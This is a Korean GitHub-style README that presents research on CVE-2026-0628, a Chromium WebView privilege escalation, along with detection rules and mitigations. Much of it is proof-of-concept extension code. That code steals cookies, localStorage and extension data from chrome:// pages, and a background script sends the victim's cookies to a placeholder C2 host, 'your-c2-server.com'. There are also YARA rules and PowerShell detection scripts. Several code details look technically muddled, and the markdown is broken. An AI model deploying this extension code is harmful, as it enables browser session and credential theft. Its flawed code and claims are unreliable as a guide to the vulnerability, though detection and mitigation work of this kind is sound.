
CVE-2026-0628(Chromium WebView 권한 상승 취약점)에 대한 기술적 분석으로, 근본 원인 분석, PoC 익스플로잇, 탐지 규칙 및 완화 전략을 포함합니다.
= doi.org/10.5281/zenodo.18413764
= orcid.org/0009-0007-7728-256X
README.md
# **CVE-2026-0628: Chromium WebView 권한 상승 (Origin Spoofing) – 기술 연구 및 개념 증명**
**저자:** Sastra Adi Wiguna (Purple Elite Teaming)
**연구 날짜:** 2026년 1월
**CVE ID:** CVE-2026-0628
**CVSS v3.1:** 8.8 (높음)
**영향 버전:** Chromium < 143.0.7499.192
**패치 상태:** Chrome ≥143.0.7499.192, Edge ≥143.0.3650.139에서 패치됨
---
## **1. 개요**
### **1.1 연구 목적**
이 저장소는 Chromium의 WebView 정책 적용 메커니즘에서 발생하는 **고위험 권한 상승 취약점**인 **CVE-2026-0628**을 문서화합니다. 이 취약점으로 인해 악성 확장 프로그램이 **샌드박스 제한을 우회**하고, **권한 있는 컨텍스트**(예: `chrome://`)에 스크립트를 주입하며, 임의 코드를 실행하기 위해 **권한을 상승**시킬 수 있습니다.
이 연구는 **방어적 보안 목적으로만** 사용됩니다:
- **취약점 분석**
- **탐지 엔지니어링**
- **완화 전략 개발**
- **침투 테스트(승인된 환경에서만)**
### **1.2 면책 조항**
- **학술 및 방어적 연구 전용입니다.**
- **승인 없이 프로덕션 시스템에 사용하지 마십시오.**
- **모든 관련 법률 및 조직 보안 정책을 준수하십시오.**
- **즉시 패치하십시오:** Chrome ≥143.0.7499.192, Edge ≥143.0.3650.139.
---
## **2. 기술 분석**
### **2.1 근본 원인**
Chromium의 WebView 구현에서 **불충분한 정책 적용**으로 인해 확장 프로그램이 **샌드박스 경계를 벗어나** **권한 있는 DOM 컨텍스트**에 접근할 수 있습니다.
**취약한 흐름:**
1. 악성 확장 프로그램이 `manifest.json`에서 WebView 사용을 선언합니다.
2. 확장 프로그램이 `<webview>` 태그를 통해 조작된 HTML/JS 페이로드를 주입합니다.
3. **WebView 정책 검증 우회** → 권한 있는 페이지(예: `chrome://settings`)에 접근.
4. 권한 있는 컨텍스트에서 **임의 스크립트 실행**.
**CVSS 벡터:**
`CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H`
### **2.2 익스플로잇 아키텍처**
#### **악성 확장 프로그램 템플릿**
```json
{
"manifest_version": 3,
"name": "Legitimate Extension",
"version": "1.0",
"webview": {
"src": "chrome://new-tab-page/",
"plugins": {}
},
"content_scripts": [{
"matches": ["<all_urls>"],
"js": ["payload.js"]
}]
}
payload.js)class WebViewExploiter {
constructor() {
this.privilegedTargets = [
'chrome://new-tab-page/',
'chrome-extension://background/',
'chrome://settings/'
];
}
injectPayload(targetURL) {
const webview = document.createElement('webview');
webview.setAttribute('src', targetURL);
webview.setAttribute('nodeintegration', ''); // 핵심 우회 매개변수
webview.addEventListener('dom-ready', () => {
webview.executeScript({
code: `
window.chrome = window.chrome || {};
chrome.runtime.sendMessage({action: 'steal_data'});
document.body.innerHTML = '';
`
});
});
document.body.appendChild(webview);
}
}
rule CVE_2026_0628_WebView_Exploiter {
meta:
description = "Detects CVE-2026-0628 WebView exploit patterns"
severity = "high"
strings:
$webview_abuse = "webview.*(nodeintegration|allowpopups)"
$chrome_priv = /(chrome:\/\/|chrome-extension:\/\/)/
$inject_sig = /(executeScript|getURL|sendMessage)/
condition:
all of ($*) and filesize < 500KB
}
chrome.exe → 의심스러운 WebView 생성.HKCU\Software\Google\Chrome\Extensions\[malicious_id].// 취약한 버전 (143.0.7499.192 이전)
if (webview.src.startsWith('chrome://')) {
return false; // 약한 정책 검사
}
// 패치된 버전
function validateWebViewPolicy(webview) {
if (!isExtensionTrusted(webview.extensionId)) {
throw new SecurityError('Extension not privileged');
}
if (webview.attributes.includes('nodeintegration')) {
enforceStrictCSP(); // Content-Security-Policy 강화
}
}
{
"ExtensionInstallBlacklist": ["malicious_extension_id*"],
"ExtensionInstallForcelist": [],
"WebViewRestrictions": {
"DisableWebView": true,
"BlockNodeIntegration": true
}
}
# Detect-CVE20260628.ps1
Get-Process chrome | ForEach {
$extPath = "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Extensions"
Get-ChildItem $extPath | Where {
(Get-Content "$_\manifest.json" | Select-String "webview") -and
(Get-Content "$_\manifest.json" | Select-String "chrome://")
}
}
cve-2026-0628-poc/
├── manifest.json
├── background.js
├── content.js
└── popup.html
manifest.json (우회 매니페스트){
"manifest_version": 3,
"name": "WebView Helper Tool",
"version": "1.0",
"permissions": ["activeTab", "storage", "tabs"],
"host_permissions": ["<all_urls>", "chrome://*/*"],
"background": {
"service_worker": "background.js"
},
"content_scripts": [{
"matches": ["<all_urls>"],
"js": ["content.js"],
"run_at": "document_start"
}],
"action": {
"default_popup": "popup.html"
},
"web_accessible_resources": [{
"resources": ["inject.js"],
"matches": ["<all_urls>"]
}]
}
background.js (지속성 및 C2 비콘)chrome.runtime.onInstalled.addListener(() => {
console.log('CVE-2026-0628 PoC Installed');
setTimeout(initExploitation, 5000);
});
async function initExploitation() {
fetch('http://your-c2-server.com/beacon?ext_id=' + chrome.runtime.id, {
method: 'POST',
body: JSON.stringify({
victim: navigator.userAgent,
cookies: await getAllCookies()
})
}).catch(() => {});
chrome.tabs.onUpdated.addListener(exploitTab);
}
content.js (WebView 트리거 및 주입)(function() {
const privilegedTargets = [
'chrome://new-tab-page/',
'chrome://settings/',
'chrome://extensions/'
];
function createMaliciousWebView(target) {
const webview = document.createElement('webview');
webview.setAttribute('src', target);
webview.setAttribute('allowpopups', '');
webview.addEventListener('dom-ready', () => {
chrome.scripting.executeScript({
target: {tabId: getCurrentTabId()},
func: stealPrivilegedData
});
});
document.body.appendChild(webview);
}
function stealPrivilegedData() {
return {
localStorage: Object.fromEntries(Object.entries(localStorage)),
cookies: document.cookie,
extensions: chrome.runtime.getManifest?.()
};
}
setTimeout(() => {
createMaliciousWebView('chrome://new-tab-page/');
}, 1000);
})();
chrome.exe --disable-web-security --user-data-dir=/tmp/vuln
chrome://extensions/로 이동.cve-2026-0628-poc/ 선택.chrome://new-tab-page/로 이동.localhost:8080) → C2로의 데이터 유출 캡처.your-c2-server.com으로 비콘."CVE-2026-0628 OWNED".{
"ExtensionInstallBlacklist": ["*"],
"WebViewRestrictions": {
"DisableWebView": true,
"BlockNodeIntegration": true
}
}
# 악성 확장 프로그램 검색
Get-ChildItem "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Extensions" |
Where { (Get-Content "$_\manifest.json" | Select-String "webview") }
volatility3 -f memdump.raw windows.chrome.ChromeExtensions
yara3 -r cve-2026-0628.yar /path/to/chrome/extensions/
rule CVE_2026_0628_Mojo_Origin_Spoof {
strings:
$mojo_hdr = { 4D 6F 6A 6F }
$chrome_origin = "chrome://new-tab-page/"
$webview_sig = "WebViewPolicyValidator"
condition:
all of them
}
연락처: 방어적 보안 관련 질문은 GitHub Issues를 통해 저자에게 문의하십시오.
© 2026 Sastra Adi Wiguna. All rights reserved.
| 공격 단계 | 기술적 영향 | 비즈니스 영향 | CVSS 지표 |
|---|
| 확장 프로그램 설치 | 사용자 동의 → 지속성 | 사회 공학 벡터 | UI:R (필요) |
| WebView 우회 | 샌드박스 탈출 → 권한 있는 컨텍스트 | 세션 하이재킹 | S:U → C:H/I:H/A:H |
| 스크립트 주입 | DOM 조작 → 데이터 유출 | 자격 증명 도용 | PR:N (권한 없음) |
| 지속성 | 백그라운드 스크립트 → C2 비콘 | 측면 이동 준비 | AC:L (낮은 복잡도) |